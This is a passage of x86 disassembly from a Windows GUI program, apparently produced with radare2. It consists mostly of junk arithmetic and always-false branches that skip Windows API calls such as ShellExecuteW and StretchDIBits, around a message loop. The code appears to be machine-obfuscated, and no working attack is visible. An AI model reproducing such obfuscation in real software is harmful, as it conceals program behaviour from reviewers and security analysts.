mov ecx, dword [ebp - 0xed8]
cmp ecx, dword [eax]
jle 0x477fc1
mov dword [ebp - 0xee0], 1
jmp 0x477fc8
and dword [ebp - 0xee0], 0
mov eax, dword [ebp - 0xee0]
sub eax, dword [ebp - 0x2078]
je 0x477fe8
cmp dword [ebp - 0xf8], 0
je 0x477fe8
cmp dword [ebp - 0x2080], 0
jne 0x478003
push 3
lea ecx, [ebp - 0xb20]
call fcn.0042aeee
cmp dword [eax], 0
jne 0x478003
and dword [ebp - 0xee8], 0
jmp 0x47800d
mov dword [ebp - 0xee8], 1
push dword [ebp - 0xf8]
lea ecx, [ebp - 0xb20]
call fcn.0042aeee
mov ecx, dword [ebp - 0xee8]
add ecx, dword [eax]
cmp ecx, 0xfffffffd
ja 0x478037
mov dword [ebp - 0xef0], 1
jmp 0x47803e
and dword [ebp - 0xef0], 0
cmp dword [ebp - 0xef0], 0xfffffffa
jg 0x478053
mov dword [ebp - 0xef8], 1
jmp 0x47805a
and dword [ebp - 0xef8], 0
mov eax, dword [ebp - 0xef8]
sub eax, dword [ebp - 0xf8]
cmp eax, 0x100c
jle 0x478079
mov dword [ebp - 0x2088], 1
jmp 0x478080
and dword [ebp - 0x2088], 0
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2f10], eax
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x2be8], eax
push 0
lea ecx, [ebp - 0x24fc]
call fcn.0042aeee
cmp dword [eax], 0xffffffff
jae 0x4780bd
push 8
pop eax
test eax, eax
je 0x4780bd
mov dword [ebp - 0xf00], 1
jmp 0x4780c4
and dword [ebp - 0xf00], 0
mov eax, dword [ebp - 0xf00]
add eax, 0x6c7b90da
mov dword [ebp - 0x4dc], eax
mov dword [ebp - 0x4dc], 0
jmp 0x4780ee
mov eax, dword [ebp - 0x4dc]
inc eax
mov dword [ebp - 0x4dc], eax
cmp dword [ebp - 0x4dc], 0
jg 0x478130
mov byte [ebp - 0x25b], 0
movzx eax, byte [ebp - 0x25b]
test eax, eax
je 0x47812e
push 0x6a3
push 0
push 0x12c1
push 0x2281
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
jmp 0x4780e1
lea ecx, [ebp - 0x24fc]
call fcn.0042aed2
jmp 0x477ea0
jmp 0x477e3a
lea ecx, [ebp - 0xb20]
call fcn.0042aed2
push 5
push dword [ebp - 0xa24]
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x3068], 0xb2c2
mov dword [ebp - 0x2bf0], 0xe2236432
mov dword [ebp - 0x2f18], 0xffffffff
mov dword [ebp - 0x2bf8], 6
mov dword [ebp - 0xf08], 0xffffffff
mov dword [ebp - 0x858], 0
jmp 0x4781a9
mov eax, dword [ebp - 0x858]
inc eax
mov dword [ebp - 0x858], eax
cmp dword [ebp - 0x858], 1
jge 0x4781c5
mov eax, dword [ebp - 0x858]
mov dword [ebp + eax*4 - 0x3070], 4
jmp 0x47819c
mov eax, dword [ebp - 0xf08]
dec eax
mov dword [ebp - 0xf08], eax
mov dword [ebp - 0x74], 0x6af1124f
mov dword [ebp - 0x868], 0x2e1dfe00
mov dword [ebp - 0x878], 7
mov dword [ebp - 0xa04], 0x665969a2
mov dword [ebp - 0x74], 0
jmp 0x478207
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x17
jle 0x478816
mov dword [ebp - 0x35c], 0xffffffff
mov dword [ebp - 0x2c], 0xc326874b
mov dword [ebp - 0x200], 8
mov dword [ebp - 0x860], 0
jmp 0x478245
mov eax, dword [ebp - 0x860]
inc eax
mov dword [ebp - 0x860], eax
cmp dword [ebp - 0x860], 1
jge 0x478261
mov eax, dword [ebp - 0x860]
mov dword [ebp + eax*4 - 0x4e4], 6
jmp 0x478238
cmp dword [ebp - 0x74], 0
jne 0x478277
push 0xfffffffffffffffa
pop eax
test eax, eax
jne 0x478277
and dword [ebp - 0xf10], 0
jmp 0x478281
mov dword [ebp - 0xf10], 1
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp - 0xf10]
mov dword [ebp - 0x868], eax
je 0x4782a7
cmp dword [ebp - 0x35c], 0
je 0x4782a7
mov dword [ebp - 0xf20], 1
jmp 0x4782ae
and dword [ebp - 0xf20], 0
imul eax, dword [ebp - 0x878], 0x7367
cmp eax, 0x14f98caf
jge 0x4782cb
mov dword [ebp - 0xf18], 1
jmp 0x4782d2
and dword [ebp - 0xf18], 0
mov eax, dword [ebp - 0x35c]
cmp dword [ebp - 0xf18], eax
jg 0x4782ec
mov dword [ebp - 0xf28], 1
jmp 0x4782f3
and dword [ebp - 0xf28], 0
mov eax, dword [ebp - 0xf20]
add eax, dword [ebp - 0xf28]
mov dword [ebp - 0xa04], eax
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x200], 0
jne 0x478464
cmp dword [ebp - 0xa04], 0
je 0x478455
cmp dword [ebp - 0x2c], 0x61302d9c
jne 0x47833a
mov dword [ebp - 0xf30], 1
jmp 0x478341
and dword [ebp - 0xf30], 0
cmp dword [ebp - 0xf30], 0x5708880d
jne 0x478359
mov dword [ebp - 0xf38], 1
jmp 0x478360
and dword [ebp - 0xf38], 0
mov eax, dword [ebp - 0x868]
cmp dword [ebp - 0xf38], eax
jg 0x47837a
mov dword [ebp - 0xf40], 1
jmp 0x478381
and dword [ebp - 0xf40], 0
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0xf40]
jle 0x478398
mov dword [ebp - 0xf48], 1
jmp 0x47839f
and dword [ebp - 0xf48], 0
mov eax, dword [ebp - 0x35c]
cmp dword [ebp - 0xf48], eax
jle 0x4783b9
mov dword [ebp - 0xf50], 1
jmp 0x4783c0
and dword [ebp - 0xf50], 0
mov eax, dword [ebp - 0x35c]
imul eax, dword [ebp - 0xf50]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0xa04]
cmp dword [ebp - 0x2c], eax
jge 0x4783e2
cmp dword [ebp - 0x200], 0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x2c00], eax
cmp dword [ebp - 0x2c], 0
je 0x478403
cmp dword [ebp - 0x2c], 0
je 0x478403
mov dword [ebp - 0xf58], 1
jmp 0x47840a
and dword [ebp - 0xf58], 0
mov eax, dword [ebp - 0x868]
cmp dword [ebp - 0xf58], eax
jle 0x478424
mov dword [ebp - 0xf60], 1
jmp 0x47842b
and dword [ebp - 0xf60], 0
cmp dword [ebp - 0xf60], 0xa40a7b48
jb 0x478443
mov dword [ebp - 0x2090], 1
jmp 0x47844a
and dword [ebp - 0x2090], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x878], eax
jl 0x478464
cmp dword [ebp - 0x74], 0
jne 0x478464
and dword [ebp - 0x2098], 0
jmp 0x47846e
mov dword [ebp - 0x2098], 1
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x2f20], eax
xor eax, eax
inc eax
cmp eax, 0x10f121ad
jae 0x47848a
cmp dword [ebp - 0x74], 0
jne 0x47849c
cmp dword [ebp - 0x35c], 0
jne 0x47849c
and dword [ebp - 0xf68], 0
jmp 0x4784a6
mov dword [ebp - 0xf68], 1
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0xf68], eax
je 0x4784bd
mov dword [ebp - 0xf70], 1
jmp 0x4784c4
and dword [ebp - 0xf70], 0
mov eax, dword [ebp - 0x74]
imul eax, dword [ebp - 0xf70]
add eax, dword [ebp - 0x200]
cmp eax, dword [ebp - 0x200]
jge 0x4784e8
mov dword [ebp - 0xf78], 1
jmp 0x4784ef
and dword [ebp - 0xf78], 0
mov eax, dword [ebp - 0x200]
cmp dword [ebp - 0xf78], eax
jne 0x478509
mov dword [ebp - 0xa0c], 1
jmp 0x478510
and dword [ebp - 0xa0c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa0c]
mov dword [ebp + eax - 0x4e4], ecx
cmp dword [ebp - 0xa0c], 0
jne 0x47853e
cmp dword [ebp - 0x878], 0
jne 0x47853e
and dword [ebp - 0xf80], 0
jmp 0x478548
mov dword [ebp - 0xf80], 1
mov eax, dword [ebp - 0xf80]
sub eax, dword [ebp - 0x35c]
cmp eax, 0x5bae5bd5
jne 0x47856d
mov eax, 0xe9572ab1
test eax, eax
jne 0x47856d
and dword [ebp - 0xf88], 0
jmp 0x478577
mov dword [ebp - 0xf88], 1
imul eax, dword [ebp - 0xf88], 0xfff7
cmp eax, dword [ebp - 0x200]
je 0x4785ad
mov byte [ebp - 0x25d], 0
movzx eax, byte [ebp - 0x25d]
test eax, eax
je 0x4785a8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
jmp 0x478811
mov dword [ebp - 0x3ec], 0xfe49
mov dword [ebp - 0x870], 0
jmp 0x4785d0
mov eax, dword [ebp - 0x870]
inc eax
mov dword [ebp - 0x870], eax
cmp dword [ebp - 0x870], 1
jge 0x4785ec
mov eax, dword [ebp - 0x870]
mov dword [ebp + eax*4 - 0x1fa8], 4
jmp 0x4785c3
mov dword [ebp - 0x2c], 0
jmp 0x4785fc
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jg 0x478664
mov dword [ebp - 0x20a0], 0x348f6f7e
mov byte [ebp - 0x25f], 0
movzx eax, byte [ebp - 0x25f]
test eax, eax
je 0x47862d
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
cmp dword [ebp - 0x20a0], 0
jne 0x478648
cmp dword [ebp - 0x3ec], 0
jne 0x478648
and dword [ebp - 0xf90], 0
jmp 0x478652
mov dword [ebp - 0xf90], 1
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xf90]
mov dword [ebp + eax*4 - 0x4e4], ecx
jmp 0x4785f5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4e4], 0
je 0x47874d
cmp dword [ebp - 0x74], 4
jbe 0x47868a
mov dword [ebp - 0xfa0], 1
jmp 0x478691
and dword [ebp - 0xfa0], 0
imul eax, dword [ebp - 0x35c], 0
test eax, eax
jne 0x4786ab
cmp dword [ebp - 0x2c], 0
jne 0x4786ab
and dword [ebp - 0xf98], 0
jmp 0x4786b5
mov dword [ebp - 0xf98], 1
mov eax, dword [ebp - 0x200]
imul ecx, dword [ebp - 0xf98], 0x75ae
sub eax, ecx
jne 0x4786db
cmp dword [ebp - 0x3ec], 0
jne 0x4786db
and dword [ebp - 0xfa8], 0
jmp 0x4786e5
mov dword [ebp - 0xfa8], 1
mov eax, dword [ebp - 0xfa0]
cmp eax, dword [ebp - 0xfa8]
jg 0x4786ff
mov dword [ebp - 0xfb0], 1
jmp 0x478706
and dword [ebp - 0xfb0], 0
mov eax, dword [ebp - 0x3ec]
cmp dword [ebp - 0xfb0], eax
jne 0x478720
mov dword [ebp - 0x20a8], 1
jmp 0x478727
and dword [ebp - 0x20a8], 0
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x2c08], eax
mov eax, dword [ebp - 0x3ec]
cmp dword [ebp - 0x878], eax
jle 0x47874d
mov dword [ebp - 0xfb8], 1
jmp 0x478754
and dword [ebp - 0xfb8], 0
mov eax, dword [ebp - 0xfb8]
neg eax
cmp eax, 0xfb0f
je 0x478770
xor eax, eax
jne 0x478770
and dword [ebp - 0xa14], 0
jmp 0x47877a
mov dword [ebp - 0xa14], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa14]
mov dword [ebp + eax - 0x1fa8], ecx
mov eax, dword [ebp - 0x3ec]
cmp dword [ebp - 0xa14], eax
je 0x4787a7
mov dword [ebp - 0xfc0], 1
jmp 0x4787ae
and dword [ebp - 0xfc0], 0
cmp dword [ebp - 0xfc0], 0xbda1
je 0x4787c6
mov dword [ebp - 0xfc8], 1
jmp 0x4787cd
and dword [ebp - 0xfc8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4e4]
cmp dword [ebp - 0xfc8], eax
jne 0x4787ee
mov dword [ebp - 0xa1c], 1
jmp 0x4787f5
and dword [ebp - 0xa1c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa1c]
mov dword [ebp + eax - 0x4e4], ecx
mov eax, dword [ebp - 0xa1c]
mov dword [ebp - 0x2c], eax
jmp 0x478200
push dword [ebp - 0xa24]
call dword [sym.imp.USER32.dll_UpdateWindow]
push 2
lea ecx, [ebp - 0x2efc]
call fcn.0042ae00
mov dword [ebp - 0x888], 0x667a876e
mov dword [ebp - 0x880], 0
jmp 0x478852
mov eax, dword [ebp - 0x880]
inc eax
mov dword [ebp - 0x880], eax
cmp dword [ebp - 0x880], 2
jge 0x478874
push dword [ebp - 0x880]
lea ecx, [ebp - 0x2efc]
call fcn.0042aeee
mov dword [eax], 0xdf99ff60
jmp 0x478845
mov dword [ebp - 0x888], 1
jmp 0x47888d
mov eax, dword [ebp - 0x888]
dec eax
mov dword [ebp - 0x888], eax
cmp dword [ebp - 0x888], 0
jl 0x4788b9
mov byte [ebp - 0x261], 0
movzx eax, byte [ebp - 0x261]
test eax, eax
je 0x4788b7
push 0
push 0x12fe
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
jmp 0x478880
lea ecx, [ebp - 0x2efc]
call fcn.0042aed2
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp - 0x20b8], eax
lea eax, [ebp - 0x20b8]
push eax
push fcn.00461d63
lea ecx, [ebp - 0x256c]
call fcn.00479735
mov dword [ebp - 0x20c0], 0x85299dad
mov dword [ebp - 0x4ec], 0xffffffff
mov dword [ebp - 0x20c8], 0xaeb9
mov eax, dword [ebp - 0x20c0]
mov dword [ebp - 0x4ec], eax
mov dword [ebp - 0x4ec], 0x12
jmp 0x478928
mov eax, dword [ebp - 0x4ec]
dec eax
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x4ec], 0xfffffff2
jl 0x47899a
cmp dword [ebp - 0x20c8], 0
je 0x47893c
jmp 0x47899a
mov byte [ebp - 0x263], 0
movzx eax, byte [ebp - 0x263]
test eax, eax
je 0x478998
push 0x14c3
push 0x920
push 0
push 0
push 0xb98
push 0x25c3
push 0x1bb4
push 0x1532
push 0x2032
push 0x11b6
push 0xd37
push 0x1c09
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchDIBits]
jmp 0x47891b
push 0
push 0
push 0
lea eax, [ebp - 0x33e8]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x478fee
push 0
push 0
push 0x10
push dword [ebp - 0xa24]
call dword [sym.imp.USER32.dll_SendMessageW]
push 1
lea ecx, [ebp - 0x1ed8]
call fcn.0042ae00
mov dword [ebp - 0xa2c], 0x86aeba4d
mov dword [ebp - 0x20e0], 0x5467
mov dword [ebp - 0x20e8], 0xdd61fb9a
mov dword [ebp - 0x5c], 0
jmp 0x478a02
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 1
jge 0x478a1b
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x1ed8]
call fcn.0042aeee
or dword [eax], 0xffffffff
jmp 0x4789fb
mov dword [ebp - 0x5c], 0
jmp 0x478a2b
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 4
jge 0x478a41
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x257c], 1
jmp 0x478a24
mov dword [ebp - 0x5c], 0
jmp 0x478a51
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 1
jge 0x478a67
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x20d0], 1
jmp 0x478a4a
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x257c], 0
jmp 0x478a92
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x257c]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x257c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x257c], 1
jge 0x478abd
push 4
pop eax
shl eax, 1
push dword [ebp + eax - 0x257c]
lea ecx, [ebp - 0x1ed8]
call fcn.0042aeee
and dword [eax], 0
jmp 0x478a79
cmp dword [ebp - 0xa2c], 1
jg 0x478ad2
mov dword [ebp - 0xfd0], 1
jmp 0x478ad9
and dword [ebp - 0xfd0], 0
mov eax, dword [ebp - 0xfd0]
mov dword [ebp - 0xa2c], eax
mov eax, dword [ebp - 0xa2c]
mov dword [ebp - 0x3108], eax
or eax, 0xffffffff
je 0x478b0b
mov eax, 0xe676
test eax, eax
je 0x478b0b
mov dword [ebp - 0xfd8], 1
jmp 0x478b12
and dword [ebp - 0xfd8], 0
push 0
lea ecx, [ebp - 0x1ed8]
call fcn.0042aeee
mov eax, dword [eax]
cmp eax, dword [ebp - 0xfd8]
je 0x478b37
xor eax, eax
inc eax
jne 0x478b37
and dword [ebp - 0xfe0], 0
jmp 0x478b41
mov dword [ebp - 0xfe0], 1
cmp dword [ebp - 0xfe0], 0x8376
jge 0x478b59
mov dword [ebp - 0xfe8], 1
jmp 0x478b60
and dword [ebp - 0xfe8], 0
push 0
lea ecx, [ebp - 0x1ed8]
call fcn.0042aeee
mov ecx, dword [ebp - 0xfe8]
cmp ecx, dword [eax]
jle 0x478b83
mov dword [ebp - 0xa34], 1
jmp 0x478b8a
and dword [ebp - 0xa34], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xa34]
mov dword [ebp + eax - 0x20d0], ecx
push 0
lea ecx, [ebp - 0x1ed8]
call fcn.0042aeee
mov ecx, dword [ebp - 0xa34]
cmp ecx, dword [eax]
jge 0x478bc0
mov dword [ebp - 0x20d8], 1
jmp 0x478bc7
and dword [ebp - 0x20d8], 0
mov eax, dword [ebp - 0x20e0]
mov dword [ebp - 0x2c10], eax
push 0
lea ecx, [ebp - 0x1ed8]
call fcn.0042aeee
mov eax, dword [eax]
mov dword [ebp - 0x20e8], eax
lea ecx, [ebp - 0x1ed8]
call fcn.0042aed2
lea ecx, [ebp - 0x256c]
call fcn.0045ea6e
mov dword [ebp - 0x25f0], 4
mov dword [ebp - 0x25ec], 4
mov dword [ebp - 0x25e8], 4
mov dword [ebp - 0x25e4], 4
lea ecx, [ebp - 0xa2d]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x25e0]
push eax
lea eax, [ebp - 0x25f0]
push eax
lea ecx, [ebp - 0x32cc]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x95c]
call fcn.0042aeac
mov dword [ebp - 0x4f4], 0x90a624cd
mov dword [ebp - 0x20f8], 5
mov dword [ebp - 0x2100], 0xffffffff
push 2
lea ecx, [ebp - 0x95c]
call fcn.0042aeee
cmp dword [eax], 0
je 0x478ca9
push 0
lea ecx, [ebp - 0x95c]
call fcn.0042aeee
cmp dword [eax], 0
je 0x478ca9
mov dword [ebp - 0xff0], 1
jmp 0x478cb0
and dword [ebp - 0xff0], 0
push 2
lea ecx, [ebp - 0x95c]
call fcn.0042aeee
mov ecx, dword [ebp - 0xff0]
mov dword [eax], ecx
mov dword [ebp - 0x4f4], 0x12
jmp 0x478cde
mov eax, dword [ebp - 0x4f4]
dec eax
mov dword [ebp - 0x4f4], eax
cmp dword [ebp - 0x4f4], 5
jge 0x478fdc
mov dword [ebp - 0xec], 6
mov dword [ebp - 0x4fc], 0xb839bf5b
mov byte [ebp - 0x265], 0
movzx eax, byte [ebp - 0x265]
test eax, eax
je 0x478d2b
push 0x2120
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0xec], 0
jmp 0x478d44
cmp dword [ebp - 0xec], 3
jg 0x478fd7
push 1
lea ecx, [ebp - 0x2514]
call fcn.0042ae00
mov dword [ebp - 0x890], 0
jmp 0x478d77
mov eax, dword [ebp - 0x890]
inc eax
mov dword [ebp - 0x890], eax
cmp dword [ebp - 0x890], 1
jge 0x478d99
push dword [ebp - 0x890]
lea ecx, [ebp - 0x2514]
call fcn.0042aeee
mov dword [eax], 0xfffffff6
jmp 0x478d6a
push dword [ebp - 0xec]
lea ecx, [ebp - 0x95c]
call fcn.0042aeee
push dword [ebp - 0xec]
lea ecx, [ebp - 0x95c]
call fcn.0042aeee
cmp dword [eax], 3
jne 0x478dcc
mov dword [ebp - 0xff8], 1
jmp 0x478dd3
and dword [ebp - 0xff8], 0
cmp dword [ebp - 0xff8], 0xfff9
jbe 0x478deb
mov dword [ebp - 0x20f0], 1
jmp 0x478df2
and dword [ebp - 0x20f0], 0
push dword [ebp - 0xec]
lea ecx, [ebp - 0x95c]
call fcn.0042aeee
push 3
lea ecx, [ebp - 0x95c]
call fcn.0042aeee
push 0
lea ecx, [ebp - 0x2514]
call fcn.0042aeee
cmp dword [eax], 0
jl 0x478e2e
mov dword [ebp - 0x1000], 1
jmp 0x478e35
and dword [ebp - 0x1000], 0
push 0
lea ecx, [ebp - 0x95c]
call fcn.0042aeee
mov ecx, dword [ebp - 0x1000]
cmp ecx, dword [eax]
jle 0x478e58
jmp 0x478cd1
lea ecx, [ebp - 0x95c]
call fcn.0042aed2
jmp 0x478fee
mov dword [ebp - 0xa3c], 0xffffffff
push 4
lea ecx, [ebp - 0x23f0]
call fcn.0042ae00
push 2
lea ecx, [ebp - 0x252c]
call fcn.0042ae00
mov dword [ebp - 0x306c], 0xf3d4
mov dword [ebp - 0x16c], 0
jmp 0x479035
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 4
jge 0x479057
push dword [ebp - 0x16c]
lea ecx, [ebp - 0x23f0]
call fcn.0042aeee
mov dword [eax], 0xfffffffc
jmp 0x479028
mov dword [ebp - 0x16c], 0
jmp 0x479070
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 2
jge 0x479092
push dword [ebp - 0x16c]
lea ecx, [ebp - 0x252c]
call fcn.0042aeee
mov dword [eax], 0xc12265e3
jmp 0x479063
mov esi, dword [ebp - 0xa3c]
push 0
lea ecx, [ebp - 0x23f0]
call fcn.0042aeee
cmp esi, dword [eax]
jge 0x4790c4
push 1
lea ecx, [ebp - 0x23f0]
call fcn.0042aeee
cmp dword [eax], 0
jne 0x4790c4
and dword [ebp - 0x1030], 0
jmp 0x4790ce
mov dword [ebp - 0x1030], 1
push 0
lea ecx, [ebp - 0x252c]
call fcn.0042aeee
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1030]
jne 0x4790f1
mov dword [ebp - 0x1038], 1
jmp 0x4790f8
and dword [ebp - 0x1038], 0
push 0
lea ecx, [ebp - 0x23f0]
call fcn.0042aeee
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1038]
jne 0x47911b
mov dword [ebp - 0x1040], 1
jmp 0x479122
and dword [ebp - 0x1040], 0
mov eax, dword [ebp - 0x1040]
sub eax, 0x2efdd87e
cmp eax, 0xf72b5725
jb 0x479140
mov dword [ebp - 0x1048], 1
jmp 0x479147
and dword [ebp - 0x1048], 0
cmp dword [ebp - 0x1048], 1
jne 0x47915c
mov dword [ebp - 0x1050], 1
jmp 0x479163
and dword [ebp - 0x1050], 0
mov eax, dword [ebp - 0xa3c]
cmp eax, dword [ebp - 0x1050]
jl 0x47917d
mov dword [ebp - 0x1058], 1
jmp 0x479184
and dword [ebp - 0x1058], 0
cmp dword [ebp - 0x1058], 0x665683c8
jl 0x4791ae
push 1
lea ecx, [ebp - 0x252c]
call fcn.0042aeee
cmp dword [eax], 0
je 0x4791ae
mov dword [ebp - 0x1060], 1
jmp 0x4791b5
and dword [ebp - 0x1060], 0
mov eax, dword [ebp - 0x1060]
mov dword [ebp - 0xa3c], eax
lea ecx, [ebp - 0x252c]
call fcn.0042aed2
lea ecx, [ebp - 0x23f0]
call fcn.0042aed2
lea ecx, [ebp - 0x256c]
call fcn.0045ea63
jmp 0x479545
pop edi
pop esi
mov esp, ebp
pop ebp
ret